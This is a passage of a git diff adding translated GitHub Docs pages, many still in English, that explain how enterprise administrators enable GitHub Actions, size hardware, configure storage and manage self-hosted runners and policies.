выполнения рабочих процессов. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Настройка политик для {% data variables.product.prodname_actions %} + +Политики можно использовать для управления использованием {% data variables.product.prodname_actions %} членами предприятия. Например, вы можете ограничить разрешенные действия и настроить период хранения артефактов и журналов. Дополнительные сведения см. в разделе [Применение политик GitHub Actions для вашего предприятия](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise). + +## Добавление средств выполнения + +Для запуска рабочих процессов {% data variables.product.prodname_actions %} необходимо использовать средства выполнения. {% data reusables.actions.about-runners %} Если вы используете средства выполнения, размещенные в {% data variables.product.company_short %}, вам будет выставляться счет на основе потребления после исчерпания минут, включенных в {% data variables.product.product_name %}. Локальные средства выполнения бесплатны. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). + +Дополнительные сведения см. в статье "[Сведения о локально размещенных средствах выполнения](/actions/hosting-your-own-runners/about-self-hosted-runners)." + +Если вы выбрали локальные средства выполнения, их можно добавлять на уровне предприятия, организации или репозитория. Дополнительные сведения см. в разделе [Добавление локальных средств выполнения](/actions/hosting-your-own-runners/adding-self-hosted-runners). + +{% data reusables.actions.general-security-hardening %} diff --git a/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md new file mode 100644 index 000000000000..6d81bf03fffc --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md @@ -0,0 +1,183 @@ +--- +title: Getting started with GitHub Actions for GitHub Enterprise Server +shortTitle: Get started +intro: 'Learn about enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} for the first time.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +redirect_from: + - /enterprise/admin/github-actions/enabling-github-actions-and-configuring-storage + - /admin/github-actions/enabling-github-actions-and-configuring-storage + - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Enterprise +--- +{% data reusables.actions.enterprise-beta %} + +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} + +This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. + +{% data reusables.actions.ghes-actions-not-enabled-by-default %} You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts{% ifversion actions-caching %} and caches{% endif %} generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Review hardware requirements + +{%- ifversion ghes < 3.6 %} + +The CPU and memory resources available to {% data variables.location.product_location %} determine the number of jobs that can be run concurrently without performance loss. {% data reusables.actions.minimum-hardware %} + +The peak quantity of concurrent jobs running without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations: + +{% endif %} + +{%- ifversion ghes > 3.5 %} + +The CPU and memory resources available to {% data variables.location.product_location %} determine the number of runners that can be configured without performance loss. {% data reusables.actions.minimum-hardware %} + +The peak quantity of connected runners without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations: + +{% endif %} + +{%- ifversion ghes = 3.3 %} + +{% data reusables.actions.hardware-requirements-3.3 %} + +Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. + +{%- endif %} + +{%- ifversion ghes = 3.4 %} + +{% data reusables.actions.hardware-requirements-3.4 %} + +Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. + +{%- endif %} + +{%- ifversion ghes = 3.5 %} + +{% data reusables.actions.hardware-requirements-3.5 %} + +{% data variables.product.company_short %} measured maximum concurrency using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. + +{% note %} + +**Note:** Beginning with {% data variables.product.prodname_ghe_server %} 3.5, {% data variables.product.company_short %}'s internal testing uses 3rd generation CPUs to better reflect a typical customer configuration. This change in CPU represents a small portion of the changes to performance targets in this version of {% data variables.product.prodname_ghe_server %}. + +{% endnote %} + +{%- endif %} + +{%- ifversion ghes > 3.5 %} + + +| vCPUs | Memory | Maximum Connected Runners | +| :---| :--- | :--- | +| 8 | 64 GB | 740 runners | +| 32 | 160 GB | 2700 runners | +| 96 | 384 GB | 7000 runners | +| 128 | 512 GB | 7000 runners | + +{% data variables.product.company_short %} measured maximum connected runners using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. + +{% note %} + +**Notes:** + +- Beginning with {% data variables.product.prodname_ghe_server %} 3.6, {% data variables.product.company_short %} documents connected runners as opposed to concurrent jobs. Connected runners represents the most runners you can connect and expect to utilize. It should also be noted that connecting more runners than you can expect to utilize can negatively impact performance. + +- Beginning with {% data variables.product.prodname_ghe_server %} 3.5, {% data variables.product.company_short %}'s internal testing uses 3rd generation CPUs to better reflect a typical customer configuration. This change in CPU represents a small portion of the changes to performance targets in this version of {% data variables.product.prodname_ghe_server %}. +{% endnote %} +{%- endif %} + +If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)." + +For more information about minimum hardware requirements for {% data variables.location.product_location %}, see the hardware considerations for your instance's platform. + +- [AWS](/admin/installation/installing-github-enterprise-server-on-aws#hardware-considerations) +- [Azure](/admin/installation/installing-github-enterprise-server-on-azure#hardware-considerations) +- [Google Cloud Platform](/admin/installation/installing-github-enterprise-server-on-google-cloud-platform#hardware-considerations) +- [Hyper-V](/admin/installation/installing-github-enterprise-server-on-hyper-v#hardware-considerations) +- [OpenStack KVM](/admin/installation/installing-github-enterprise-server-on-openstack-kvm#hardware-considerations) +- [VMware](/admin/installation/installing-github-enterprise-server-on-vmware#hardware-considerations) + +{% data reusables.enterprise_installation.about-adjusting-resources %} + +{% ifversion ghes > 3.4 %} + +Optionally, you can limit resource consumption on {% data variables.location.product_location %} by configuring a rate limit for {% data variables.product.prodname_actions %}. For more information, see "[Configuring rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-github-actions)." + +{% endif %} + +## External storage requirements + +To enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, you must have access to external blob storage. + +{% data variables.product.prodname_actions %} uses blob storage to store data generated by workflow runs, such as workflow logs{% ifversion actions-caching %}, caches,{% endif %} and user-uploaded build artifacts. The amount of storage required depends on your usage of {% data variables.product.prodname_actions %}. Only a single external storage configuration is supported, and you can't use multiple storage providers at the same time. + +{% data variables.product.prodname_actions %} supports these storage providers: + +* Azure Blob storage +* Amazon S3 +{%- ifversion actions-ghes-gcp-storage %} +* Google Cloud Storage +{%- endif %} +* S3-compatible MinIO cluster + +{% note %} + +**Note:** These are the only storage providers that {% data variables.product.company_short %} supports and can provide assistance with. + +{% data reusables.actions.enterprise-s3-tech-partners %} + +{% endnote %} + +## Networking considerations + +{% data reusables.actions.proxy-considerations %} For more information about using a proxy with {% data variables.product.prodname_ghe_server %}, see "[Configuring an outbound web proxy server](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)." + +{% ifversion ghes %} + +## Enabling {% data variables.product.prodname_actions %} with your storage provider + +Follow one of the procedures below to enable {% data variables.product.prodname_actions %} with your chosen storage provider: + +* [Enabling GitHub Actions with Azure Blob storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage) +* [Enabling GitHub Actions with Amazon S3 storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage) +{%- ifversion actions-ghes-gcp-storage %} +* [Enabling GitHub Actions with Google Cloud Storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage) +{%- endif %} +* [Enabling GitHub Actions with MinIO storage](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-storage) + +## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise + +You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding self-hosted runners + +{% data reusables.actions.enterprise-github-hosted-runners %} + +To run {% data variables.product.prodname_actions %} workflows, you need to add self-hosted runners. You can add self-hosted runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +## Managing which actions can be used in your enterprise + +You can control which actions your users are allowed to use in your enterprise. This includes setting up {% data variables.product.prodname_github_connect %} for automatic access to actions from {% data variables.product.prodname_dotcom_the_website %}, or manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}. + +For more information, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)." + +{% data reusables.actions.general-security-hardening %} + +{% endif %} + +## Reserved names + +When you enable {% data variables.product.prodname_actions %} for your enterprise, two organizations are created: `github` and `actions`. If your enterprise already uses the `github` organization name, `github-org` (or `github-github-org` if `github-org` is also in use) will be used instead. If your enterprise already uses the `actions` organization name, `github-actions` (or `github-actions-org` if `github-actions` is also in use) will be used instead. Once actions is enabled, you won't be able to use these names anymore. diff --git a/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md new file mode 100644 index 000000000000..0c3418282c0b --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise.md @@ -0,0 +1,148 @@ +--- +title: Getting started with self-hosted runners for your enterprise +shortTitle: Self-hosted runners +intro: 'You can configure a runner machine for your enterprise so your developers can start automating workflows with {% data variables.product.prodname_actions %}.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +permissions: 'Enterprise owners can configure policies for {% data variables.product.prodname_actions %} and add self-hosted runners to the enterprise.' +type: quick_start +topics: + - Actions + - Enterprise + - Fundamentals +--- + +## About self-hosted runners for {% data variables.product.prodname_actions %} + +{% data reusables.actions.about-actions-for-enterprises %} For more information, see "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)." + +With {% data variables.product.prodname_actions %}, developers can write and combine individual tasks called actions to create custom workflows. {% ifversion ghes or ghae %}To enable {% data variables.product.prodname_actions %} for {% ifversion ghae %}your enterprise{% elsif ghes %} {% data variables.location.product_location %}{% endif %}, you must host at least one machine to execute jobs.{% endif %} {% ifversion ghec %}You can host your own runner machine to execute jobs, and this{% elsif ghes or ghae %}This{% endif %} machine is called a self-hosted runner. {% data reusables.actions.self-hosted-runner-locations %} {% data reusables.actions.self-hosted-runner-architecture %} {% ifversion ghec %}All{% elsif ghes or ghae %}Self-hosted{% endif %} runners can run Linux, Windows, or macOS. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." + +{% ifversion ghec %} + +Alternatively, you can use runner machines that {% data variables.product.company_short %} hosts. {% data variables.product.company_short %}-hosted runners are outside the scope of this guide. For more information, see "[About {% data variables.product.company_short %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)." + +{% endif %} + +This guide shows you how to apply a centralized management approach to self-hosted runners for {% data variables.product.prodname_actions %} in your enterprise. In the guide, you'll complete the following tasks. + +1. Configure a limited policy to restrict the actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that can run within your enterprise +1. Deploy a self-hosted runner for your enterprise +1. Create a group to manage access to the runners available to your enterprise +1. Optionally, further restrict the repositories that can use the runner +1. Optionally, build custom tooling to automatically scale your self-hosted runners + +You'll also find additional information about how to monitor and secure your self-hosted runners,{% ifversion ghes or ghae %} how to access actions from {% data variables.product.prodname_dotcom_the_website %},{% endif %} and how to customize the software on your runner machines. + +After you finish the guide, {% ifversion ghec or ghae %}members of your enterprise{% elsif ghes %}users of {% data variables.location.product_location %}{% endif %} will be able to run workflow jobs from {% data variables.product.prodname_actions %} on a self-hosted runner machine. + +## Prerequisites + +{% data reusables.actions.self-hosted-runners-prerequisites %} + +- Your enterprise must own at least one organization. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." + +## 1. Configure policies for {% data variables.product.prodname_actions %} + +First, enable {% data variables.product.prodname_actions %} for all organizations, and configure a policy to restrict the actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} that can run {% ifversion ghec or ghae%}within your enterprise on {% data variables.product.product_name %}{% elsif ghes %}on {% data variables.location.product_location %}{% endif %}. Optionally, organization owners can further restrict these policies for each organization. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +1. Under "Policies", select **Enable for all organizations**. + + ![Screenshot of "Enable for all organizations" policy for {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-enable-for-all-organizations.png) +1. Select {% data reusables.actions.policy-label-for-select-actions-workflows %} and **Allow actions created by GitHub** to allow local actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, and actions created by {% data variables.product.company_short %}. + + {% ifversion actions-workflow-policy %} + ![Screenshot of "Allow select actions" and "Allow actions created by {% data variables.product.company_short %}" for {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-allow-select-actions-and-actions-from-github-with-workflows.png) + {%- else %} + ![Screenshot of "Allow select actions" and "Allow actions created by {% data variables.product.company_short %}" for {% data variables.product.prodname_actions %}](/assets/images/help/settings/actions-policy-allow-select-actions-and-actions-from-github.png) + {%- endif %} +1. Click **Save**. + +You can configure additional policies to restrict the actions available to {% ifversion ghec or ghae %}enterprise members{% elsif ghes %}users of {% data variables.location.product_location %}{% endif %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#allowing-select-actions-to-run)." + +## 2. Deploy the self-hosted runner for your enterprise + +Next, add a self-hosted runner to your enterprise. {% data variables.product.product_name %} will guide you through installation of the necessary software on the runner machine. After you deploy the runner, you can verify connectivity between the runner machine and {%ifversion ghec or ghae %}your enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. + +### Adding the self-hosted runner + +{% data reusables.actions.self-hosted-runner-add-to-enterprise %} + +{% data reusables.actions.self-hosted-runner-check-installation-success %} + +## 3. Manage access to the self-hosted runner using a group + +You can create a runner group to manage access to the runner that you added to your enterprise. You'll use the group to choose which organizations can execute jobs from {% data variables.product.prodname_actions %} on the runner. + +{% data variables.product.product_name %} adds all new runners to a group. Runners can be in one group at a time. By default, {% data variables.product.product_name %} adds new runners to the "Default" group. + +{% data reusables.actions.runner-groups-add-to-enterprise-first-steps %} +1. To choose a policy for organization access, under "Organization access", select the **Organization access** drop-down, and click **Selected organizations**. +1. To the right of the drop-down with the organization access policy, click {% octicon "gear" aria-label="The Gear icon" %}. +1. Select the organizations you'd like to grant access to the runner group. +{%- ifversion ghec or ghes %} +1. Optionally, to allow public repositories in the selected organizations to use runners in the group, select **Allow public repositories**. + + {% warning %} + + **Warning**: + + {% indented_data_reference reusables.actions.self-hosted-runner-security spaces=3 %} + + For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories)." + + {% endwarning %} +{%- endif %} +{% data reusables.actions.create-runner-group %} +{%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %} +1. Click the "Runners" tab. +1. In the list of runners, click the runner that you deployed in the previous section. +1. Click **Edit**. +1. Click **Runner groups {% octicon "gear" aria-label="The Gear icon" %}**. +1. In the list of runner groups, click the name of the group that you previously created. +1. Click **Save** to move the runner to the group. +{%- elsif ghes < 3.4 or ghae %} +1. To the right of "Default", click the number of runners in the group to show the runners. +1. Select the runner that you deployed. +1. To the right of "Runner groups", select the **Move to group** dropdown, and click the group that you previously created. +{%- endif %} + +You've now deployed a self-hosted runner that can run jobs from {% data variables.product.prodname_actions %} within the organizations that you specified. + +## 4. Further restrict access to the self-hosted runner + +Optionally, organization owners can further restrict the access policy of the runner group that you created. For example, an organization owner could allow only certain repositories in the organization to use the runner group. + +For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." + +## 5. Automatically scale your self-hosted runners + +Optionally, you can build custom tooling to automatically scale the self-hosted runners for {% ifversion ghec or ghae %}your enterprise{% elsif ghes %}{% data variables.location.product_location %}{% endif %}. For example, your tooling can respond to webhook events from {% data variables.location.product_location %} to automatically scale a cluster of runner machines. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)." + +## Next steps + +- You can monitor self-hosted runners and troubleshoot common issues. For more information, see "[Monitoring and troubleshooting self-hosted runners](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners)." + +- {% data variables.product.company_short %} recommends that you review security considerations for self-hosted runner machines. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)." + +- {% ifversion ghec %}If you use {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}, you{% elsif ghes or ghae %}You{% endif %} can manually sync repositories on {% data variables.product.prodname_dotcom_the_website %} containing actions to your enterprise on {% ifversion ghes or ghae %}{% data variables.product.product_name %}{% elsif ghec %}{% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}{% endif %}. Alternatively, you can allow members of your enterprise to automatically access actions from {% data variables.product.prodname_dotcom_the_website %} by using {% data variables.product.prodname_github_connect %}. For more information, see the following. + + {%- ifversion ghes or ghae %} + - "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom)" + - "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect)" + {%- elsif ghec %} + - "Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}" in the [{% data variables.product.prodname_ghe_server %}](/enterprise-server@latest//admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom) or [{% data variables.product.prodname_ghe_managed %}](/github-ae@latest//admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom) documentation + - "Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}" in the [{% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) or [{% data variables.product.prodname_ghe_managed %}](/github-ae@latest//admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) documentation + {%- endif %} + +- You can customize the software available on your self-hosted runner machines, or configure your runners to run software similar to {% data variables.product.company_short %}-hosted runners{% ifversion ghes or ghae %} available for customers using {% data variables.product.prodname_dotcom_the_website %}{% endif %}. The software that powers runner machines for {% data variables.product.prodname_actions %} is open source. For more information, see the [`actions/runner`](https://github.com/actions/runner) and [`actions/runner-images`](https://github.com/actions/runner-images) repositories. + +## Further reading + +- "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service)" +- "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)" diff --git a/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md new file mode 100644 index 000000000000..29ea7e6aedfd --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md @@ -0,0 +1,27 @@ +--- +title: Начало работы с GitHub Actions для предприятия +intro: 'Узнайте, как внедрить {% data variables.product.prodname_actions %} на предприятии.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise + - Actions +children: + - /about-github-actions-for-enterprises + - /introducing-github-actions-to-your-enterprise + - /migrating-your-enterprise-to-github-actions + - /getting-started-with-github-actions-for-github-enterprise-cloud + - /getting-started-with-github-actions-for-github-enterprise-server + - /getting-started-with-github-actions-for-github-ae + - /getting-started-with-self-hosted-runners-for-your-enterprise +shortTitle: Get started +ms.openlocfilehash: f4e3c1f403830b996e4921f95c91b6ad7100fd09 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116696' +--- + diff --git a/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md new file mode 100644 index 000000000000..625a34aa98d8 --- /dev/null +++ b/translations/ru-RU/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -0,0 +1,140 @@ +--- +title: Introducing GitHub Actions to your enterprise +shortTitle: Introduce Actions +intro: 'You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About {% data variables.product.prodname_actions %} for enterprises + +{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information, see "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)." + +![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png) + +Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. + +## Governance and compliance + +You should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations. + +Determine which actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)." + +Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that were not created by {% data variables.product.company_short %}. You can configure the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, you can limit allowed actions to those created by verified creators or a list of specific actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)", and "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-github-actions-in-your-enterprise)." + +{% ifversion actions-workflow-policy %} +![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy-with-workflows.png) +{%- else %} +![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy.png) +{%- endif %} + +{% ifversion ghec or ghes > 3.4 %} +Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see "[Using OpenID Connect with reusable workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows)." +{% endif %} + +You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining this information longer than audit log data is retained, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Exporting audit log activity for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)" and "[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)."{% else %}{% ifversion audit-log-streaming %}"[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)" and {% endif %}"[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)."{% endif %} + +![Audit log entries](/assets/images/help/repository/audit-log-entries.png) + +## Security + +You should plan your approach to security hardening for {% data variables.product.prodname_actions %}. + +### Security hardening individual workflows and repositories + +Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions)." + +You can also encourage reuse of workflows that have already been evaluated for security. For more information, see "[Innersourcing](#innersourcing)." + +### Securing access to secrets and deployment resources + +You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider. + +In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +![Screenshot of a list of secrets](/assets/images/help/settings/actions-org-secrets-list.png) +You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see "[Using environments for deployments](/actions/deployment/targeting-different-environments/using-environments-for-deployment)." + +### Security considerations for third-party actions + +There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that encourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)." + +## Innersourcing + +Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource automation. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources. + +{% data reusables.actions.internal-actions-summary %} + +{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.actions.reusable-workflows-ghes-beta %} +With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +{% endif %} + +To provide a starting place for developers building new workflows, you can use starter workflows. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)." + +{% ifversion not internal-actions %} +Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)." +{% endif %} + +## Managing resources + +You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}. + +{% ifversion ghes %} +### Hardware requirements + +You may need to upgrade the CPU and memory resources for {% data variables.location.product_location %} to handle the load from {% data variables.product.prodname_actions %} without causing performance loss. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements)." +{% endif %} + +### Runners + 